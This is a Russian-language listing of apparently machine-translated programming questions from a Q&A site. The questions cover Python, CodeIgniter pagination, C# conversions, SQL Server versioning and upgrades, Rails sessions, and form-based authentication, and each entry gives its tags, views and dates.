Найдено результатов: 920

Как перевести char в int в python

ребята, помогите перевести char в int и наоборот.




python   char   символ   строки  

635   1   18:22, 14th July, 2020


Как обработать input и button методом POST

У меня есть button и input. Я хочу, чтобы при нажатии на button, получить текст, который находится в input. 

 

codeigniter   сайты   button  

495   1   09:52, 20th July, 2020


Какие арифметические действия есть в Python

Объясните на примере.

python  

415   1   10:57, 21st July, 2020


Как настроить пагинацию (pagination) на сайте Codeigniter. Весь блок показывается на одной странице.

Весь блок новостей выводится на одной странице. Но кнопки пагинации правильно выводятся. Найдите ошибку в моём коде.

Мой контроллер:

$this->load->library('pagination');
$config['base_url'] = base_url().'index.php/news/index/';    

$config['total_rows'] = count($this->news_model->get_rows());

$config['per_page'] = 4;
$config['full_tag_open'] = '<ul class="pagination">';
$config['full_tag_close'] = '</ul>';            
$config['prev_link'] = '&laquo;';
$config['prev_tag_open'] = '<li>';
$config['prev_tag_close'] = '</li>';
$config['next_link'] = '&raquo;';
$config['next_tag_open'] = '<li>';
$config['next_tag_close'] = '</li>';
$config['cur_tag_open'] = '<li class="active"><a href="#">';
$config['cur_tag_close'] = '</a></li>';
$config['num_tag_open'] = '<li>';
$config['num_tag_close'] = '</li>';
$config["num_links"] = round( $config["total_rows"] / $config["per_page"] );

$config['news'] = $this->news_model->get_news($config['per_page'], $this->uri->segment(3));
$this->pagination->initialize($config);
$config['pages'] = $this->pagination->create_links();
$this->load->view('templates/news_view', $config);

 

В модели прописано следующее:

public function get_rows(){
        
        $this->db->select('*');
        $this->db->from('news');
        $query = $this->db->get();
        return $query->result_array();    
 }

public function get_news($num, $seg){
    $this->db->select('*');
    $this->db->from('news');
    $query = $this->db->get($num, $seg);
    return $query->result_array();    
} 

 

В view написано:

<?php foreach ($news as $value){  ?>

<span> <?= $value['news'] ?> </span>

<?php } ?>

<div class="center">
       <?php if(isset($pages)) echo $pages; ?>
 </div> 

codeigniter   pagination  

510   1   18:09, 22nd July, 2020


Как написать многострочный комментарий в Python

нужно написать стих

python   строки  

529   1   18:16, 28th July, 2020


Преобразовать Decimal в Double?

Я хочу использовать трек-бар, чтобы изменить непрозрачность формы.

Это мой код:

decimal trans = trackBar1.Value / 5000;
this.Opacity = trans;

Когда я строю приложение, оно выдает следующую ошибку:

Невозможно неявно преобразовать тип 'decimal' в 'double' .

Я пробовал использовать trans и double , но тогда контроль не работает. Этот код прекрасно работал в прошлом проекте VB.NET.

c#   floating-point   type-conversion   double   decimal    

670   13   16:03, 1st July, 2020


Определите timezone пользователя

Существует ли стандартный способ для веб-сервера определить timezone пользователя на веб-странице?

Возможно, из заголовка HTTP или части строки user-agent ?

html   browser   timezone   user-agent   timezone-offset    

1059   24   16:03, 1st July, 2020


Разгрузка ByteArray используя Actionscript 3

Как я могу принудительно выгрузить ByteArray из памяти с помощью ActionScript 3?

Я попробовал следующее:

// First non-working solution
byteArray.length = 0;
byteArray = new ByteArray();

// Second non-working solution
for ( var i:int=0; i < byteArray.length; i++ ) {
    byteArray[i] = null;
}

arrays   actionscript-3   flex    

488   8   16:03, 1st July, 2020


Несколько кнопок отправки в форме HTML

Допустим, вы создаете мастер в форме HTML. Одна кнопка идет назад, а другая вперед. Поскольку кнопка назад появляется первой в markup при нажатии клавиши Enter, она будет использовать эту кнопку для отправки формы.

Пример:

<form>

  <!-- put your cursor in this field and press Enter -->

  <input type="text" name="field1" />



  <!-- This is the button that will submit -->

  <input type="submit" name="prev" value="Previous Page" />



  <!-- But this is the button that I WANT to submit -->

  <input type="submit" name="next" value="Next Page" />

</form>

Что я хотел бы сделать, так это решить, какая кнопка используется для отправки формы, когда пользователь нажимает Enter. Таким образом, при нажатии клавиши Enter мастер перейдет на следующую страницу, а не на предыдущую. Вы должны использовать tabindex , чтобы сделать это?

html   form-submit   html-form   submit-button    

1116   23   16:03, 1st July, 2020


SQLStatement.execute()-несколько запросов в одном операторе

Я написал сценарий генерации базы данных в SQL и хочу выполнить его в своем приложении Adobe AIR :

Create Table tRole (
    roleID integer Primary Key
    ,roleName varchar(40)
);
Create Table tFile (
    fileID integer Primary Key
    ,fileName varchar(50)
    ,fileDescription varchar(500)
    ,thumbnailID integer
    ,fileFormatID integer
    ,categoryID integer
    ,isFavorite boolean
    ,dateAdded date
    ,globalAccessCount integer
    ,lastAccessTime date
    ,downloadComplete boolean
    ,isNew boolean
    ,isSpotlight boolean
    ,duration varchar(30)
);
Create Table tCategory (
    categoryID integer Primary Key
    ,categoryName varchar(50)
    ,parent_categoryID integer
);
...

Я выполняю это в Adobe AIR, используя следующие методы:

public static function RunSqlFromFile(fileName:String):void {
    var file:File = File.applicationDirectory.resolvePath(fileName);
    var stream:FileStream = new FileStream();
    stream.open(file, FileMode.READ)
    var strSql:String = stream.readUTFBytes(stream.bytesAvailable);
    NonQuery(strSql);
}

public static function NonQuery(strSQL:String):void {
    var sqlConnection:SQLConnection = new SQLConnection();
    sqlConnection.open(File.applicationStorageDirectory.resolvePath(DBPATH));
    var sqlStatement:SQLStatement = new SQLStatement();
    sqlStatement.text = strSQL;
    sqlStatement.sqlConnection = sqlConnection;
    try {
        sqlStatement.execute();
    } catch (error:SQLError) {
        Alert.show(error.toString());
    }
}

Ошибки не генерируются, однако существует только tRole . Похоже, что он смотрит только на первый запрос (вплоть до точки с запятой - если я удалю его, запрос не будет выполнен). Есть ли способ вызвать несколько запросов в одном операторе?

flex   actionscript-3   air    

490   3   16:03, 1st July, 2020


Java lib или приложение для преобразования файла CSV в файл XML?

Существует ли существующее приложение или библиотека в Java , которое позволит мне конвертировать файл CSV данных в файл XML ?

Теги XML будут предоставляться, возможно, через первую строку, содержащую заголовки столбцов.

java   xml   csv   data-conversion    

593   16   16:03, 1st July, 2020


Сжатие / Распаковка Папок И Файлов

Кто-нибудь знает хороший способ быстро сжимать или распаковывать файлы и папки в C#? Возможно, потребуется обработка больших файлов.

c#   .net   file   compression    

508   9   16:03, 1st July, 2020


Как синхронизировать номер редакции SVN с моим веб-сайтом ASP.NET?

Переполнение стека имеет номер версии subversion внизу:

svn пересмотр: 679

Я хочу использовать такое автоматическое управление версиями с моими формами .NET Web Site/Application , Windows, WPD projects/solutions.

Как мне это реализовать?

.net   asp.net   svn   versioning    

501   7   16:03, 1st July, 2020


Управление версиями SQL база данных сервера

Я хочу, чтобы мои базы данных были под контролем версий. Есть ли у кого-нибудь какие-нибудь советы или Рекомендуемые статьи, чтобы я начал работу?

Я всегда буду хотеть иметь там хотя бы некоторые данные (как упоминает alumb: типы пользователей и администраторы). Мне также часто требуется большая коллекция сгенерированных тестовых данных для измерения производительности.

sql-server   database   svn   version-control    

546   25   16:03, 1st July, 2020


Разбор чисел с плавающей запятой: есть ли алгоритм Catch All?

Одна из самых интересных частей мультикультурного программирования-это числовые форматы.

  • Американцы используют 10,000.50
  • Немцы используют 10.000,50
  • Французы используют 10 000,50

Мой первый подход состоял бы в том, чтобы взять строку, разобрать ее назад, пока я не найду разделитель, и использовать его в качестве десятичного разделителя. В этом есть очевидный недостаток: 10.000 будет интерпретировано как 10.

Другой подход: если строка содержит 2 разных нечисловых символа, используйте последний в качестве десятичного разделителя и отбросьте остальные. Если у меня есть только один, проверьте, не происходит ли это несколько раз, и отбросьте его, если это происходит. Если он появляется только один раз, проверьте, есть ли после него 3 цифры. Если да, то отбросьте его, в противном случае используйте его в качестве десятичного разделителя.

Очевидным "best solution" было бы определить культуру пользователя или браузер, но это не работает, если у вас есть француз, использующий en-US Windows/Browser.

Может быть, фреймворк .net содержит какой-то мифический парсер с плавающей точкой черной магии, который лучше, чем Double.(Try)Parse() , пытается автоматически определить формат чисел?

c#   .net   asp.net   internationalization   globalization    

426   4   16:03, 1st July, 2020


Сервер Обновления SQL 6.5

Да, я знаю. Существование запущенной копии SQL Server 6.5 в 2008 году абсурдно.

Таким образом, каков наилучший способ перехода с 6.5 на 2005 ? Есть ли прямой путь? Большая часть документации, которую я нашел, касается обновления 6.5 до 7 .

Должен ли я забыть о собственных утилитах обновления SQL Server , сценарий из всех объектов и данных, и попытаться воссоздать с нуля?

Я собирался попробовать обновление в эти выходные, но проблемы с сервером отодвинули его до следующего. Таким образом, любые идеи будут приветствоваться в течение недели.

Обновление. Вот как я закончил это делать:

  • Создайте резервную копию базы данных, о которой идет речь, и мастер на 6.5 .
  • Выполните SQL Server 2000 's instcat.sql против 6.5' S Master. Это позволяет поставщику SQL Server 2000 ' s OLEDB подключиться к 6.5 .
  • Используйте SQL Server 2000 ' s standalone "Import and Export Data" для создания пакета DTS, используя OLEDB для подключения к 6.5. Это успешно скопировало все таблицы 6.5 в новую базу данных 2005 (также используя OLEDB ).
  • Используйте 6.5 ' S Enterprise Manager, чтобы записать все индексы и триггеры базы данных в A .sql файл.
  • Исполни это .Файл sql для новой копии базы данных в среде Management Studio 2005 года.
  • Используйте 6.5's Enterprise Manager для создания сценариев всех хранимых процедур.
  • Выполните этот файл .sql в базе данных 2005 . У нескольких десятков sprocs были проблемы, делающие их несовместимыми с 2005 . В основном non-ANSI joins и quoted identifier issues .
  • Исправлены все эти ошибки и повторно выполнен файл .sql .
  • Воссоздал логины 6.5 в 2005 и дал им соответствующие разрешения.

Было немного промывки/повтора при исправлении хранимых процедур (их было сотни, чтобы исправить), но обновление прошло отлично в противном случае.

Возможность использовать Management Studio вместо Query Analyzer и Enterprise Manager 6.5 -это такая удивительная разница. Несколько запросов отчетов, которые заняли 20-30 секунду на 6.5 database , теперь выполняются за 1-2 секунды, без каких-либо изменений, новых индексов или чего-либо еще. Я не ожидал такого немедленного улучшения.

sql-server   migration    

542   4   16:03, 1st July, 2020


Добавление функциональности сценариев в приложения .NET

У меня есть небольшая игра, написанная в C#., она использует базу данных в качестве бэк-энда. Это это была торговая карточная игра, и я хотел реализовать функцию карт в виде скрипта.

Я имею в виду, что у меня по существу есть интерфейс , ICard, который реализует класс карт ( public class Card056: ICard ) и который содержит функцию, вызываемую игрой.

Теперь, чтобы сделать вещь maintainable/moddable,, я хотел бы иметь класс для каждой карты в качестве исходного кода в базе данных и по существу скомпилировать его при первом использовании. Поэтому, когда мне нужно добавить/изменить карту, я просто добавлю ее в базу данных и скажу своему приложению обновить, не требуя никаких assembly deployment (тем более, что мы будем говорить о 1 assembly на карту, что означает сотни сборок).

Разве это возможно? Зарегистрируйте класс из исходного файла, а затем создайте его экземпляр и т. д.

ICard Cards[current] = new MyGame.CardLibrary.Card056();
Cards[current].OnEnterPlay(ref currentGameState);

Язык C#, но дополнительный бонус, если есть возможность написать сценарий на любом языке .NET.

c#   .net   scripting   compiler-construction    

592   9   16:03, 1st July, 2020


Передовая Практика: Среда Совместной Работы, Каталог Bin, SVN

Каковы рекомендации по проверке каталогов BIN в среде совместной разработки с использованием SVN? Должны ли ссылки на уровень проекта быть исключены из проверки? Может быть, проще просто добавить все каталоги bin?

Я разрабатываю много сайтов DotNetNuke, и кажется, что в среде с несколькими разработчиками всегда очень сложно правильно настроить среду.

Конечная цель (конечно) состоит в том, чтобы новый разработчик проверил магистраль из SVN, восстановил базу данных DNN и все это просто 'work'...

svn   collaboration    

500   5   16:03, 1st July, 2020


Как вы сортируете словарь по значению?

Мне часто приходится сортировать словарь, состоящий из ключей & значений, по значению. Например, у меня есть hash слов и соответствующих частот, которые я хочу упорядочить по частоте.

Есть SortedList , который хорош для одного значения (скажем, частоты), и я хочу сопоставить его со словом.

SortedDictionary заказы по ключу, а не по значению. Некоторые прибегают к пользовательскому классу, но есть ли более чистый способ?

c#   .net   sorting   dictionary    

1040   18   16:03, 1st July, 2020


Существует ли система контроля версий для изменения структуры базы данных?

Я часто сталкиваюсь со следующей проблемой.

Я работаю над некоторыми изменениями в проекте, которые требуют новых таблиц или столбцов в базе данных. Я делаю изменения в базе данных и продолжаю свою работу. Обычно я не забываю записать изменения, чтобы они могли быть воспроизведены в живой системе. Однако я не всегда помню, что я изменил, и не всегда помню, чтобы записать это.

Итак, я делаю толчок к живой системе и получаю большую, очевидную ошибку , что нет NewColumnX, тьфу.

Независимо от того, что это может быть не лучшим решением для данной ситуации, существует ли система контроля версий для баз данных? Меня не волнует конкретная технология баз данных. Я просто хочу знать, существует ли он. Если это случится работать с сервером MS SQL, то отлично.

sql   database   oracle   version-control    

685   22   16:03, 1st July, 2020


XML обработка в Python

Я собираюсь построить часть проекта, который должен будет построить и разместить документ XML в веб-сервисе, и я хотел бы сделать это в Python, чтобы расширить свои навыки в этом.

К сожалению, хотя я довольно хорошо знаю модель XML в .NET, я не уверен, каковы плюсы и минусы моделей XML в Python.

У кого-нибудь есть опыт выполнения обработки XML в Python? С чего бы вы посоветовали мне начать? Файлы XML, которые я буду создавать, будут довольно простыми.

python   xml    

589   12   16:03, 1st July, 2020


Реализация функции "Remember me" в приложении Rails

В моем Rails-приложении есть поле входа с "remember me" checkbox. Пользователи, установившие этот флажок, должны оставаться в системе даже после закрытия браузера. Я отслеживаю, входят ли пользователи в систему, сохраняя их идентификатор в сеансе пользователя.

Но сеансы реализуются в Rails как сеансовые файлы cookie, которые не являются постоянными. Я могу сделать их настойчивыми:

class ApplicationController < ActionController::Base
  before_filter :update_session_expiration_date

  private

  def update_session_expiration_date
    options = ActionController::Base.session_options
    unless options[:session_expires]
      options[:session_expires] = 1.year.from_now
    end
  end
end

Но это похоже на взлом, что удивительно для такой распространенной функциональности. Есть ли какой-нибудь лучший способ?

Редактировать

Ответ Гарета довольно хорош, но я все равно хотел бы получить ответ от кого-то, кто знаком с Rails 2 (потому что он уникален CookieSessionStore ).

ruby-on-rails   ruby   http    

512   8   16:03, 1st July, 2020


Как я могу найти полный путь к шрифту из его отображаемого имени на Mac?

Я использую Photoshop javascript API, чтобы найти шрифты в данном PSD.

Учитывая имя шрифта, возвращаемое API, я хочу найти фактический физический файл шрифта, которому соответствует имя шрифта на диске.

Это все происходит в программе python, работающей на OSX, поэтому я думаю, что ищу один из:

  • Некоторые Photoshop javascript
  • Функция Python
  • OSX API, что я могу позвонить из python

python   macos   fonts   photoshop    

448   4   16:03, 1st July, 2020


Получить предварительный просмотр JPEG из PDF на Windows?

У меня есть кроссплатформенное приложение (Python), которое должно генерировать предварительный просмотр JPEG первой страницы PDF.

На Макинтоше я мечу икру глотками . Есть ли что-то столь же простое, что я могу сделать на Windows?

python   windows   image   pdf    

502   3   16:03, 1st July, 2020


Частые SystemExit в Ruby при совершении HTTP звонков

У меня есть сайт Ruby on Rails, который делает HTTP вызовов к внешней веб-службе.

Примерно раз в день я получаю ошибку SystemExit (stacktrace ниже) email, когда вызов службы не удался. Если я затем попробую точно такой же запрос на моем сайте через несколько минут, он отлично работает. Это происходит с тех пор, как сайт вышел в эфир, и мне не удалось отследить, что вызывает его.

Ruby-это версия 1.8.6, а rails-версия 1.2.6.

У кого-нибудь еще есть эта проблема?

Это ошибка и stacktrace.

В SystemExit произошло /usr/local/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/fcgi_handler.rb:116:in выход' /usr/local/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/fcgi_handler.rb:116:in exit_now_handler' /usr/local/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/inflector.rb:250:in to_proc' /usr/local/lib/ruby/1.8/net/protocol.rb:133:in называть /usr/local/lib/ruby/1.8/net/protocol.rb:133:in sysread' /usr/local/lib/ruby/1.8/net/protocol.rb:133:in rbuf_fill' /Таймаут usr/local/lib/ruby/1.8/timeout.rb:56:in' /Таймаут usr/local/lib/ruby/1.8/timeout.rb:76:in' /usr/local/lib/ruby/1.8/net/protocol.rb:132:in rbuf_fill' /Readuntil usr/local/lib/ruby/1.8/net/protocol.rb:116:in' / usr/local/lib/ruby/1.8/net/protocol.rb:126:in readline' /usr/local/lib/ruby/1.8/net/http.rb:2017:in read_status_line' /usr/local/lib/ruby/1.8/net/http.rb:2006:in read_new' / usr/local/lib/ruby/1.8/net/http.rb:1047:in запрос' /usr/local/lib/ruby/1.8/net/http.rb:945:in request_get' /usr/local/lib/ruby/1.8/net/http.rb:380:in get_response' / usr/local/lib/ruby/1.8/net/http.rb:543:in начало' /usr/local/lib/ruby/1.8/net/http.rb:379:in get_response'

ruby-on-rails   ruby   crash    

452   4   16:03, 1st July, 2020


Система непрерывной интеграции для кодовой базы Python

Я начинаю работать над хобби-проектом с кодовой базой Python, и я хотел бы создать некоторую форму непрерывной интеграции (т. е. запуск батареи тест-кейсов каждый раз, когда производится регистрация и отправка электронных писем nag ответственным лицам, когда тесты терпят неудачу), подобную CruiseControl или TeamCity .

Я понимаю , что могу сделать это с помощью крючков в большинстве VCSes, но для этого требуется, чтобы тесты выполнялись на той же машине, что и сервер управления версиями, что не так элегантно, как хотелось бы. Есть ли у кого-нибудь предложения по небольшой, удобной для пользователя системе непрерывной интеграции с открытым исходным кодом, подходящей для кодовой базы Python ?

python   continuous-integration   extreme-programming    

604   7   16:03, 1st July, 2020


Окончательное руководство по проверке подлинности веб-сайта на основе форм

Аутентификация на основе форм для веб-сайтов

Мы считаем, что Stack Overflow должен быть не только ресурсом для очень конкретных технических вопросов, но и для общих руководящих принципов по решению вариаций общих проблем. "Form based authentication for websites" должно быть прекрасной темой для такого эксперимента.

Он должен включать такие темы, как:

  • Как войти в систему
  • Как выйти из системы
  • Как оставаться в системе
  • Управление файлами cookie (включая рекомендуемые настройки)
  • Шифрование SSL/HTTPS
  • Как хранить пароли
  • Использование секретных вопросов
  • Забытый логин / пароль функциональность
  • Использовать специальные слова, чтобы предотвратить подделка межсайтовых запросов (CSRF)
  • OpenID
  • "Remember me" checkbox
  • Автозавершение браузером имен пользователей и паролей
  • Секретный URLs (публичный URL защищен дайджестом)
  • Проверка надежности пароля
  • Проверка электронной почты
  • и многое другое о проверке подлинности на основе форм ...

Он не должен включать в себя такие вещи, как:

  • Роли и разрешения
  • HTTP обычной проверки подлинности

Пожалуйста, помогите нам:

  1. Предлагая подтемы
  2. Отправка хороших статей на эту тему
  3. Редактирование официального ответа

security   http   authentication   language-agnostic   article    

730   12   16:03, 1st July, 2020


cx_Oracle: Как выполнить итерацию по результирующему набору?

Существует несколько способов перебора результирующего набора. Каков компромисс каждого из них?

python   sql   database   oracle   cx-oracle    

587   3   16:03, 1st July, 2020


Автоматическое обновление номера версии

Я бы хотел, чтобы свойство version моего приложения увеличивалось для каждой сборки, но я не уверен, как включить эту функциональность в Visual Studio (2005/2008)., я пытался указать AssemblyVersion как 1.0. но это не дает мне точно то, что я хочу.

Я также использую файл настроек и в предыдущих попытках, когда версия assembly изменила мои настройки, они были сброшены по умолчанию, так как приложение искало файл настроек в другом каталоге.

Я хотел бы иметь возможность отображать номер версии в виде 1.1.38, поэтому, когда пользователь находит проблему, я могу зарегистрировать версию, которую он использует, а также сказать им обновить, если у них есть старая версия.

Кроме того, мы хотели бы получить краткое объяснение того, как работает управление версиями. Когда увеличивается число сборок и ревизий?

c#   visual-studio   versioning    

583   7   16:03, 1st July, 2020


Контрольный список для IIS 6/ASP.NET Windows аутентификации?

У меня возникли проблемы с тем, чтобы мое приложение ASP.NET автоматически регистрировало пользователей на сайте интрасети, который я создаю. Независимо от того, что я гуглил или экспериментировал, всегда есть окно входа, отображаемое IE7.

Я установил режим аутентификации Windows в Web.config, отключил анонимный доступ и настроил правильный домен по умолчанию в IIS, но он все еще просит пользователя войти в систему и, что еще более раздражает, пользователь должен также предоставить домен ( DOMAIN\auser ), что вызывает проблемы с нетехническими посетителями. Спасибо Zeus за функциональность запоминания паролей.

Я не являюсь администратором сети, поэтому вполне возможно, что что-то в Active Directory настроено неправильно, или это может быть просто я пропустил что-то очень простое. Обратите внимание, что я не хочу выдавать себя за пользователя, мне просто нужно знать, что свойство IPrincipal.Name совпадает с действительной записью в моей базе данных пользователей, следовательно, аутентификация пользователя в моем приложении.

С этой целью было бы очень полезно иметь контрольный список всех требований к конфигурации для AD, ASP.NET и IIS, чтобы работать вместе таким образом в качестве справочного материала для отладки и, надеюсь, уменьшить некоторые трения пользователей.

asp.net   iis   authentication   active-directory    

463   3   16:03, 1st July, 2020


Шифрование Паролей

Каков самый быстрый, но безопасный способ шифрования паролей в (предпочтительно PHP), и для какого метода вы выбираете, является ли он портативным?

Другими словами, если я позже перенесу свой сайт на другой сервер, будут ли мои пароли продолжать работать?

Метод, который я использую сейчас, как мне было сказано, зависит от точных версий библиотек, установленных на сервере.

php   encryption   passwords    

442   7   16:03, 1st July, 2020


Использование 'in' для сопоставления атрибута объектов Python в массиве

Я не помню, спал я или нет, но я, кажется, помню, что была функция, которая позволяла что-то вроде,

foo in iter_attr(array of python objects, attribute name)

Я просмотрел документы, но такие вещи не подпадают ни под какие очевидные заголовки списка

python   arrays   iteration    

510   8   16:03, 1st July, 2020


Представления классов в Django

Django вид указывает на функцию, которая может быть проблемой, если вы хотите изменить только немного функциональности. Да, я мог бы иметь миллион аргументов ключевых слов и даже больше операторов if в функции, но я больше думал об объектно-ориентированном подходе.

Например, у меня есть страница, на которой отображается пользователь. Эта страница очень похожа на страницу, которая отображает группу, но она все еще не настолько похожа, чтобы просто использовать другую модель данных. Группа также имеет членов и т. д...

Одним из способов было бы указать представления на методы класса, а затем расширить этот класс. Пробовал ли кто-нибудь этот подход или у него есть другие идеи?

python   django   views   oop    

581   9   16:03, 1st July, 2020


Как создать новый экземпляр объекта из типа

Можно не всегда знать Type объекта во время компиляции, но может потребоваться создать экземпляр Type . Как получить новый экземпляр объекта из Type ?

c#   .net   performance   reflection   types    

576   12   16:03, 1st July, 2020


Локализация дескрипторов формата даты

Что является лучшим способом, чтобы локализовать формат даты, дескриптора?

Как знает любой человек из культуры, которая не использует формат mm/dd/yyyy, раздражает необходимость вводить даты в этом формате. То.NET framework обеспечивает очень хорошую поддержку локализации, поэтому тривиально анализировать даты в соответствии с культурой пользователей, но вы часто хотите также отобразить полезную подсказку относительно требуемого формата (особенно для различения yy и yyyy, которые взаимозаменяемы в большинстве культур).

Каков наилучший способ сделать это таким образом, чтобы иметь смысл для большинства пользователей (например, dd/M/yyy сбивает с толку из-за изменения регистра и переключения между одной и двумя буквами).

.net   internationalization   date   globalization    

482   7   16:03, 1st July, 2020


Python и MySQL

Я могу заставить Python работать с Postgresql, но я не могу заставить его работать с MySQL. Основная проблема заключается в том, что на общей учетной записи хостинга у меня нет возможности устанавливать такие вещи, как Django или PySQL, я обычно не могу установить их на свой компьютер, поэтому, возможно, это хорошо, что я не могу установить на хосте.

Я нашел bpgsql действительно хорошим, потому что он не требует установки, это один файл, который я могу посмотреть, прочитать, а затем вызвать функции. Кто-нибудь знает что-то подобное для MySQL?

python   mysql   postgresql   bpgsql    

545   6   16:03, 1st July, 2020


Решение линейного уравнения

Мне нужно программно решить систему линейных уравнений в C, Objective C или (при необходимости) C++.

Вот пример уравнений:

-44.3940 = a * 50.0 + b * 37.0 + tx
-45.3049 = a * 43.0 + b * 39.0 + tx
-44.9594 = a * 52.0 + b * 41.0 + tx

Исходя из этого, я хотел бы получить наилучшее приближение для a , b и tx .

math   linear-algebra   system   linear-equation    

559   10   16:03, 1st July, 2020


Как я могу использовать Python itertools.groupby()?

Я не смог найти понятного объяснения того, как на самом деле использовать функцию Python itertools.groupby() . Я пытаюсь сделать вот что:

  • Возьмите список-в этом случае дочерние элементы объективированного элемента lxml
  • Разделите его на группы по некоторым критериям
  • Затем позже повторите каждую из этих групп отдельно.

Я ознакомился с документацией и примерами , но мне было трудно применить их за пределами простого списка цифр.

Итак, как я могу использовать itertools.groupby() ? Есть ли другая техника, которую я должен использовать? Указатели на хорошее чтение "prerequisite" также будут оценены.

python   iteration    

540   12   16:03, 1st July, 2020


Проект Установки Visual Studio-Параметры Реестра Для Каждого Пользователя

Я пытаюсь поддерживать проект установки в Visual Studio 2003 (да, это устаревшее приложение). Проблема, с которой мы столкнулись на данный момент, заключается в том, что нам нужно записать записи реестра в HKCU для каждого пользователя на компьютере. Они должны быть в HKCU , а не в HKLM , потому что они являются настройками пользователя по умолчанию, и они действительно меняются для каждого пользователя. Мое ощущение заключается в том, что

  1. Это невозможно
  2. Это не то, что должен делать установщик, но то, что должно делать приложение (в конце концов, что происходит, когда Профиль пользователя создается после установки?).

Учитывая это, я все еще хочу изменить как можно меньше в приложении, поэтому мой вопрос заключается в том, можно ли добавить записи реестра для каждого пользователя в проекте установки Visual Studio 2003 ?

И, на данный момент проект перечисляет пять корневых ключей реестра (HKEY_CLASSES_ROOT, HKEY_CURRENT_USER , HKEY_LOCAL_MACHINE , HKEY_USERS и User/Machine Hive). Я действительно ничего не знаю о корневом ключе Users и не видел User/Machine Hive. Может ли кто-нибудь просветить меня на этот счет? Возможно, они могли бы решить мою проблему выше.

windows   visual-studio   registry   installation    

432   4   16:03, 1st July, 2020


CruiseControl.net, msbuild, /p:OutputPath и CCNetArtifactDirectory

В данный момент я пытаюсь настроить CruiseControl.net. До сих пор это работает хорошо, но у меня есть проблема с задачей MSBuild.

Согласно документации, он проходит от CCNetArtifactDirectory до MSBuild. Но как мне его использовать?

Я попробовал это сделать:

<buildArgs>
   /noconsolelogger /p:OutputPath=$(CCNetArtifactDirectory)\test
</buildArgs>

Но это не работает. На самом деле, он убивает службу с этой ошибкой:

ThoughtWorks.CruiseControl.Core.Config.Preprocessor.EvaluationException: ссылка на неизвестный символ CCNetArtifactDirectory

Документация довольно скудна, и google und в основном предлагает изменить файл проекта .sln, чего я хочу избежать, чтобы иметь возможность вручную построить этот проект позже - я бы действительно предпочел /p:OutputPath .

msbuild   cruisecontrol.net    

495   3   16:03, 1st July, 2020


Как определить, какой из определенных шрифтов был использован на веб-странице?

Предположим, что у меня на странице есть следующее правило CSS:

body {
    font-family: Calibri, Trebuchet MS, Helvetica, sans-serif;
}

Как я могу определить, какой из определенных шрифтов был использован в браузере пользователя?

Редактирование для людей, которым интересно, почему я хочу сделать это: шрифт, который я обнаруживаю, содержит глифы, которые не доступны в других шрифтах, и когда у пользователя нет шрифта, я хочу отобразить ссылку с просьбой загрузить этот шрифт, чтобы они могли использовать мое веб-приложение с правильным шрифтом.

В настоящее время я показываю ссылку на шрифт загрузки для всех пользователей, я хочу показать это только для людей, у которых не установлен правильный шрифт.

javascript   html   css   fonts    

519   11   16:03, 1st July, 2020


.Net XML комментарий к документации API

Существует ли простой способ создать документацию в стиле MSDN из выходных данных Visual Studio XML?
Я не настолько терпелив, чтобы создать хороший xslt для этого, потому что я знаю, что я не первый человек, который пересек этот мост.

Кроме того, я недавно пытался установить замок из песка, но это действительно заставило меня скосить глаза. Либо я упустил что-то важное в этом процессе, либо он просто слишком вовлечен.

Я знаю, что у кого-то там есть действительно хорошее мертвое простое решение.

Я повторяю здесь, потому что я думаю, что мое форматирование сделало этот абзац неинтересным для чтения:

Я дал Сэнд-Кастлу попробовать, но мне было очень трудно его настроить. На самом деле я имею в виду нечто гораздо более простое.

То есть, если только я просто не понимаю процесс создания песчаного замка. Мне казалось, что это ужасно много дополнительного багажа, чтобы просто произвести что-то хорошее для тестировщиков, чтобы работать с ними.

visual-studio   xslt   documentation   sandcastle   xml-comments    

582   6   16:03, 1st July, 2020


Интернационализация в ваших проектах

Как вы реализовали интернационализацию (i18n) в реальных проектах, над которыми вы работали?

Я заинтересовался тем, чтобы сделать программное обеспечение кросс-культурным после того, как прочитал знаменитый пост Джоэла, абсолютный минимум, который каждый разработчик программного обеспечения абсолютно, положительно должен знать о Unicode и наборах символов (никаких оправданий!) . Тем не менее, я еще не смог воспользоваться этим в реальном проекте, кроме того, чтобы убедиться, что я использовал строки Unicode, где это возможно. Но создание всех ваших строк Unicode и обеспечение того, чтобы вы понимали, в какой кодировке находится все, с чем вы работаете, - это только верхушка айсберга i18n.

Все, над чем я работал до сих пор, было предназначено для использования контролируемым набором англоговорящих людей из США, или i18n просто не было тем, над чем мы успели поработать, прежде чем запустить проект в прямом эфире. Поэтому я ищу любые советы или военные истории, которые есть у людей о том, как сделать программное обеспечение более локализованным в реальных проектах.

language-agnostic   unicode   localization   internationalization    

506   11   16:03, 1st July, 2020


Как подключиться к базе данных и выполнить цикл над набором записей в C#?

Каков самый простой способ подключения и запроса базы данных для набора записей в C#?

c#   database   loops   connection    

537   8   16:03, 1st July, 2020


Необработанный обработчик исключений в .NET 1.1

Я поддерживаю приложение .NET 1.1, и одна из моих задач-убедиться, что пользователь не видит никаких недружественных уведомлений об ошибках.

Я добавил обработчики к Application.ThreadException и AppDomain.CurrentDomain.UnhandledException, которые действительно вызываются. Моя проблема заключается в том, что стандартный диалог ошибки CLR все еще отображается (до вызова обработчика исключений).

Джефф рассказывает об этой проблеме в своем блоге здесь и здесь . Но нет никакого решения. Итак, каков стандартный способ в .NET 1.1 обрабатывать необнаруженные исключения и отображать дружественное диалоговое окно?

Ответ Джеффа был отмечен как правильный ответ, потому что ссылка, которую он предоставил, содержит самую полную информацию о том, как сделать то, что требуется.

c#   .net   exception   exception-handling    

544   2   16:03, 1st July, 2020


Добавление метода к существующему экземпляру объекта

Я читал, что можно добавить метод к существующему объекту (т. е. не в определении класса) в Python.

Я понимаю, что это не всегда хорошо делать. Но как это сделать?

python   oop   methods   monkeypatching    

584   17   16:03, 1st July, 2020


Как исправить ошибку "Unprocessed view path found" с плагином ExceptionNotifier в rails 2.1?

После обновления веб-сайта rails 1.2 до 2.1 плагин ExceptionNotifier больше не работает, жалуясь на эту ошибку:

ActionView::TemplateFinder::InvalidViewPath: необработанный путь представления найдено: "/path/to/appname/vendor/plugins/exception_notification/lib/../views". Задайте пути просмотра с помощью #append_view_path, #prepend_view_path, или #view_paths=.

Что вызывает это и как я могу это исправить?

ruby-on-rails   ruby   exception   plugins    

483   2   16:03, 1st July, 2020


Обеспечение того, чтобы исключения всегда перехватывались

